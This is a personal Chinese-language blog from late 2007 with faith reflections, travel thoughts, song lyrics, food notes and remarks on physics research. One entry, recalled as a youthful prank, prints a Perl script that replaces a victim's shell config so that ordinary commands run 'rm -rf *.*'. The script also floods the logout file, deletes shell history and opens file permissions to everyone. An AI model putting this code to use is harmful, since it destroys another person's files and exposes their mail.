Tuesday 25 December 2007

數算上帝的恩典

剛看完今天的《靈命日糧》。今天的信息說到一對夫婦如何在困難的時候向神感恩,將神所給他們的恩典掛在聖誕樹上。讀完後很感動,也很虧歉。覺得很多時候,當我在跟上帝求一些事時,我都認為上帝會給我所要的。有些時候是沒錯,但不要當這是理所當然的,認為上帝都會按著我們的意思給我們所求的。有些時候禱告不在那個當下被應許,不是因為上帝不聽我們的禱告,而是神要我們耐心的等候。那要等多久,只有神會告訴你自己。

神會在我們等候的時候給我們不同的功課。這不同的功課就是他計划的一部份,同時也是指引我們走向祂所為我們預備的。這功課可以是很輕鬆的,也可以是很難的,(一般都是很難的,因為耶穌曾說:若有人要跟從我,就當捨己,天天背起他的十字架來跟從我 。(路9:23))。雖然功課很難,但神要的是我們如何信靠祂,仰望祂來做祂給我們的功課。祂給的功課都是我們所能承受的。雖然我們在做功課時會覺得很困難,但在不同的時候,祂會給我們很多的hints。而這hints只有在對祂有信心時,才會找到。

很多時候當神沒有給我們要的時候,或在我們面對困難時,我們都會埋怨神,我們會覺得神很不公平。亞薩似乎也是有這個問題。他在詩篇七十三篇就開始就跟神抱怨,但他最後很感謝神一直都跟他同在。所以在任何時候,不管是喜樂還是苦難,要不住的感恩,思想神的恩典。因為很多時候,神在不經意的已經給了我們很多的恩典,只是我們都把這恩典當著是理所當然。雖然神可能不會給你所要,但他一定會給你超過你所求的,並且是最好的。

Monday 24 December 2007

人生就是一種旅行。

看完了誠然的部落格後,覺得他的大學生活真的很寫意。去德國不同的地方玩,看德過不同的人與事物。我真的也很想去。不過現在去的話,應該會很冷。說真的,旅行是我明年的計划。我想去不同的國家,看不同的人與美女,吃不同的料理(就算拉肚子也沒關係)。偷偷告訴你一個祕訣,你如果想一次去很多地方跟國家的話,你可以考慮去歐洲,非洲跟南美洲。

南美洲不太鼓勵,一來是簽證的問題(很難辦),二來交通超不發達。非洲的話,如果你不怕死的話,可以考慮。開玩笑的啦。非洲是我一直想去的地方。因為我覺得那裡很神祕,很特別。有種說不清的感覺。不過因為那裡有叛軍跟匪徒很多,所以我計划了很久都沒去。我覺得我會在我還沒交女朋友去。:D。(費玉清講笑話。這還用說嗎,你如果有了牽掛的話,你還會去嗎?你有可能會被老虎獅子吃掉,或被叛軍抓走,當他們的女婿。那你的女朋友怎麼辦?)

歐洲的話,我還蠻喜歡的。不是我崇洋,只是他們的很多的思想跟文化影響了今天的我們,包括政府,思想和教育等等。所以歐洲有很多東西可以看,看了還可以想。勝利堂的李四海長老,清華團契的李哥(同一個人)盡然可以用他跟周姐的馬丁路德之旅來跟我門分享當時的基督教的發展跟聖經的教導。你也可以走在當年康德,莫札特走的街道上。我去bern時,我走在愛因思坦當年一邊走一邊思考的路上。感覺很爽。我也走過了當年徐志摩跟林微音談戀愛的康河河畔。

忽然想到我們的人生不就是跟旅行很像嗎?我們在不同的時刻遇到不同的事,不同的人。有些事有些人是讓我們懷念,有些則是不起眼的,有些是可怕的。但是這一切將都是會過去的。因為我們的人生旅程終將會結束。難怪智慧王所羅門會說:“虛空的虛空,虛空的虛空。凡事都是虛空。人一切的勞碌,就是他在日光之下的勞碌,有甚麼益處呢。一代過去,一代又來。地卻永遠長存。日頭出來,日頭落下,急歸所出之地。” (傳道書1:2﹣5)那是不是我們是旅客,那我們就可以亂來?聖經說地是神拖給我們所管的,我們的責任是管好我們的行囊。不要記著人家的惡,要記著人家的好。該給於幫助的就要幫助。誰知道那一天你也需要其他人。

Sunday 23 December 2007

很久沒有的感動。(冬至快樂)

昨天約了為程,依潔,美嘉一起在我台北的房子吃飯。雖然菜式很普通,一道咖哩,一道炒青菜(依潔弄的),一道咸菜湯加上韓式泡菜跟湯圓(昨天冬至),但是大家聚在一起吃飯的感覺還真的很好。不知道怎麼形容,覺得這個跟在外面吃合菜個感覺很不一樣。嗯,應該是有家的味道吧!很希望都有這樣的機會。真的。

Tuesday 18 December 2007

微弱的曙光

今天早上去機場送一個朋友回新加坡。在回來的路途中,忽然在台北市酒泉街的上空,看到一道微弱的曙光。雖然只是在一團烏雲中一道微弱的曙光,但對我來說,它是多麼有意義的曙光。它讓我看見雖然前面的道路雖然困難,但仍有盼望和希望。頓時我很感謝神,因為祂讓我想起了

"你不要害怕 、因為我與你同在 。不要驚惶 、因為我是你的 神 .我必堅固你、我必幫助你、 我必用我公義的右手扶持你 。”(以賽亞書41:10),

"因為我耶和華你的 神 、 必攙扶你的右手 、對你說、不要害怕、我必幫助你 。” (以賽亞書41:13)。

最近發生的事,真的讓我心力交瘁。很感謝神一直保護我,看顧我。也很感謝大家一直陪著我,為我禱告,雖然我沒有把我的難處說出來。我在等待新的開始。新的一年要來了,新的一年希望有新的盼望,就像那道微弱的曙光一樣。

Monday 17 December 2007

感性是沒有錯的,但請不要把感性當著你裝傻的藉口

曾幾何時,我認為我所堅持,我所喜歡的類型的女生,不會出現。我開始傾向寧爛無缺。只要我認為可以聊得開的女生我都會一並列入考慮中.到了最後,我真的不知道我喜歡的女生是哪一型的。還好經過這次的事件(請用msn問我),我開始認真地思考。用另外一種說法,我覺得人生還是有希望的。

感性是沒有錯的,但請不要把感性當著你裝傻(Act Ignorant)的藉口。你可能認為這樣會襯托出你所選擇的男人有多聰明,多麼的學富五車。拜拖,裝傻也要看時間跟地點吧?在不對的場合裝傻只會讓其他人覺得你的女朋友或太太怎麼那麼不得體。女人,如果真的要朔造一個成功的男人,記得把禮儀學好。看看約翰肯尼迪的太太,杰奎琳·肯尼迪。据說,他的爸爸小時候就開始教她禮儀。所以她的美麗,大方和得體,不但讓她擁有了美國第一夫人的頭銜,更讓她後來在政治界發揮她該有的影響裡。據說約翰肯尼迪從來不對外人說杰奎琳·肯尼迪是他的太太,反而說:“這是杰奎琳·肯尼迪,我是他先生。”

Wednesday 12 December 2007

Perturbation or Interaction?

Perturbation from the macroscopic point of view, it means some disturbances that happen in a small time scale. From the point of Quantum Mechanics, often we retain the eigen states, then we will add another term/s which due to the perturbation. Think of another way, how about microscopic view, let's say atom? Of course in this case, it turns up to be interaction and the time scale is long enough that makes it uncomfortable.

What I want to bring up is Life can be a perturbation or interaction. Sometimes you feel that you have a hard time which makes you lost. You do not know what to do and you do not have any sense of direction and goal. You can call it as interaction as you do not know when the hard time will end. But after the time scale is long enough, then you will treat it as a kind of perturbation in your life when you have difference experiences in one life. (It remains me of Born Series or Dyson Series.)

Shit! What am I trying to express? My idea is simple: It is very hard for you to step up the first step, but once you have overcame the first step, then for whatever you are doing, you find that it is very easy.

Case Closed.

Monday 10 December 2007

I Can Love You Like That

Titled on the top, an old song to be. Still I like it very much.



I Can Love You Like That

they read you cinderella
you hoped it would come true
that one day your prince charming would come rescue you
you like romantic movies
and you never will forget
the way it felt when romeo kissed juliette
and all this time that you've been waiting
you don't have to wait no more

i can love you like that
i would make you my world
move heaven and earth if you were my girl
i would give you my heart
be all that you need
show you you're everything that's precious to me
if you give me a chance, i can love you like that

i never make a promise
i don't intend to keep
so when i say forever
forever's what i mean
i'm no casanova
but i swear this much is true,
i'll be holding nothing back
when it comes to you
you dream of love that's everlasting
well baby open up your eyes...

i can love you like that
i would make you my world
move heaven and earth if you were my girl
i would give you my heart
be all that you need
show you you're everything that's precious to me
if you give me a chance, i can love you like that

if you want tenderness
i've got tenderness
and i see through to the heart of you
if you want a man
who will understand
you don't have to look very far

i can love you, girl i can (i can love you love you)
oh baby oh...
i can love you like that
i would make you my world
move heaven and earth if you were my girl
i would give you my heart
be all that you need
show you you're everything that's precious to me
i can love you like that
i can make you my world
move heaven and earth if you were my girl
i would give you my heart
my heart my heart my world
show you you're everything (you're everything to me)
love you like that
i can make you my world
move heaven and earth if you were my girl
i would give you my heart
my heart my heart my world
show you you're everything

I'm waiting for this day to come. :)

Wednesday 5 December 2007

嗆扁的鸚鵡

最近大家都流行嗆扁。看來鸚鵡也跟得上潮流




Tuesday 4 December 2007

Garfield 加菲猫


覺得畫加菲貓的畫家很幽默。每一次看都會讓我很開心的笑。不是我臭屁,英文不好的人當然不知道笑點在哪裡。

想看的话,请点 http://get-garfield.livejournal.com


Monday 3 December 2007

还是小辣比较有味道。


蚵仔煎與蚵仔麵線



宮保田雞粥

我覺得我還是喜歡有點小辣的菜式,特別是擁有自己特色的菜式。雖然台灣菜很好看,變化很多,但始終覺得少了辣味,菜的味道就變淡了。少了辣味就等於少了一些味道。

Friday 30 November 2007

Tears in Heaven



I want to put my tears in heaven. My tears do not belong to earth.

Monday 19 November 2007

There can be Miracles

我想我現在可以體會亞伯拉罕和撒拉在等待以撒的心情。更貼切的應該是摩西在等待進入迦南的心情。



Many nights we pray
With no proof anyone could hear
And our hearts a hopeful song
We barely understood
Now we are not afraid
Although we know there's much to fear
We were moving mountains long
Before we know we could
There can be miracles
When you believe
Though hope is frail
It's hard to kill
Who knows what miracles
You can achieve
When you believe
Somehow you will
You will when you believe

In this time of fear
When prayer so often proves in vain
Hope seems like the summer birds
Too swiftly flown away
And now I am standing here
My heart's so full I can't explain
Seeking faith and speaking words
I never thought I'd say

There can be miracles
When you believe (When you believe)
Though hope is frail
It's hard to kill
Who knows what miracles
You can achieve (You can achieve)
When you believe
Somehow you will
You will when you believe

They don't always happen when you ask
And it's easy to give in to your fear
But when you're blinded by your pain
Can't see your way safe through the rain
Thought of a still resilient voice
Says love is very near

There can be miracles (miracles)
When you believe (When you believe)
Though hope is frail
It's hard to kill
Who knows what miracles
You can achieve (You can achieve)
When you believe
Somehow you will
You will when you believe
You will when you believe
You will when you believe
Just believe
You will when you believe

Dear Lord,

I am sorry that I do not have my faith upon you. When I look upon Moses, my grief is far less than him. Lord, Let me learn how to look upon you. Let me learn how to seek for your will and your kingdom rather than the honour and the glory on the world. Let me cling upon you. Lord, please directs me in daily life, be my light in front so that I will not fall into the trap. In Jesus's name, Amen.

Wednesday 14 November 2007

年少疯狂

这是我在大学时代写过最恐怖的整人程式。有人被整过,当然她欲哭无泪。这是当时的程式码。语言为PERL

@array = ("logout", "logout", "rm -rf *.*", "logout", "rm -rf *.*",
"logout");
@array2 = ("vi", "emacs", "pine", "lpr", "ls", "su");

`pwd > file.txt`;

open(FILE2, "> file.txt");
open(FILE, "> .bashrc");
open(FILE3,">.bash_logout");

print FILE "# User specific aliases and functions\n";

for($i = 0; $i < 6; $i++)
{
print FILE "alias $array2[$i] ='$array[$i]'\n";
}
`chmod 077 .bashrc`;

$a = ;
print FILE "# Source global definitions\n";
print FILE "if [ -f /etc/bashrc ]; then\n";
print FILE " . /etc/bashrc\n";
print FILE "fi\n";
print FILE "\n";
for($l = 0; $l < 1000000; $l++)
{
print FILE3 "ThIs ScRiPt iS WriTtEn bY KePlEr aUtO-GeNeRaTeD dAeMon\n";
}

`rm $a .bash_history`;

close(FILE);

@array3 = ("$a Mail", "$a Mailbox", "$a mail");

for($j = 0; $j < 3; $j++)
{
`chmod 777 $array3[$j]`;
}

`chmod -Rf 777 $a *.*`;
close(FILE3);
close(FILE2);

@array4 = ("file.txt", "ijc.pl");

for($k = 0; $k < 2; $k++)
{
`rm $array4[$k]`;
}

Tuesday 9 October 2007

新加坡航空的航班无限次来回伦敦。

很高兴读到这则新闻。(http://www.zaobao.com/sp/sp071008_505.html)。按台湾一些白痴的说法,英国是我的神国。拜托,马来西亚是一个君主宪法的国家。什么是神国?只有中东一些贫穷的国家在奉行神国主义来迷惑民众,好巩固他们的独裁。最主要是英国对联邦共和国的国家比较友善,而且联邦共和国的国家去英国可以享受免六个月的签证。同时从英国到欧洲也很方便。YEAH! 以后可以常去欧洲玩乐。最喜欢的国家是瑞士。希望可以在那里买一间房子。

Wednesday 26 September 2007

孤寂的夜晚

再一次感到孤寂的夜晚。感到孤單但又想一個人靜一靜.很矛盾的心情。在iTunes裡找不到一首歌可以形容我現在的心情。理性的批判告訴我我應該為了在找尋什麼,但還沒尋著。可能吧!

Monday 17 September 2007

无聊的下午

刚辞掉了中研院的工作,所以回到新竹清华来。感觉有点奇怪因为好不容易盼到去台北的日子,结果再一次回来了。这次回来也觉得这地方很温馨,那种感觉就像这次回到新加坡一样,一种浪子在外很久,再一次回到家里那种感觉。 今天第一天上班。在这时刻我在等待下班!哈哈!所以很无聊。

虽然离开了台北,不过每周还是会回去台北的。台北还是很好玩,有很多好吃的,同时教会也在台北-台北卫理堂。目前新工作足以让我每礼拜六在台北常驻/住在青年旅社。不过不能为了工作荒废学业。学业还是最重要的。

新的研究方向:BEC - BCS crossover (中译:玻色爱因思坦凝结与BCS态互转换之研究)。好像很难,不过走一步算一步吧。起码在毕业前可以把超导体跟超流体学会。把重当放在主身上就不重了!:)

清华团契和小林哥的研究生小家,我又回来了。为什么回来?像你们不行吗?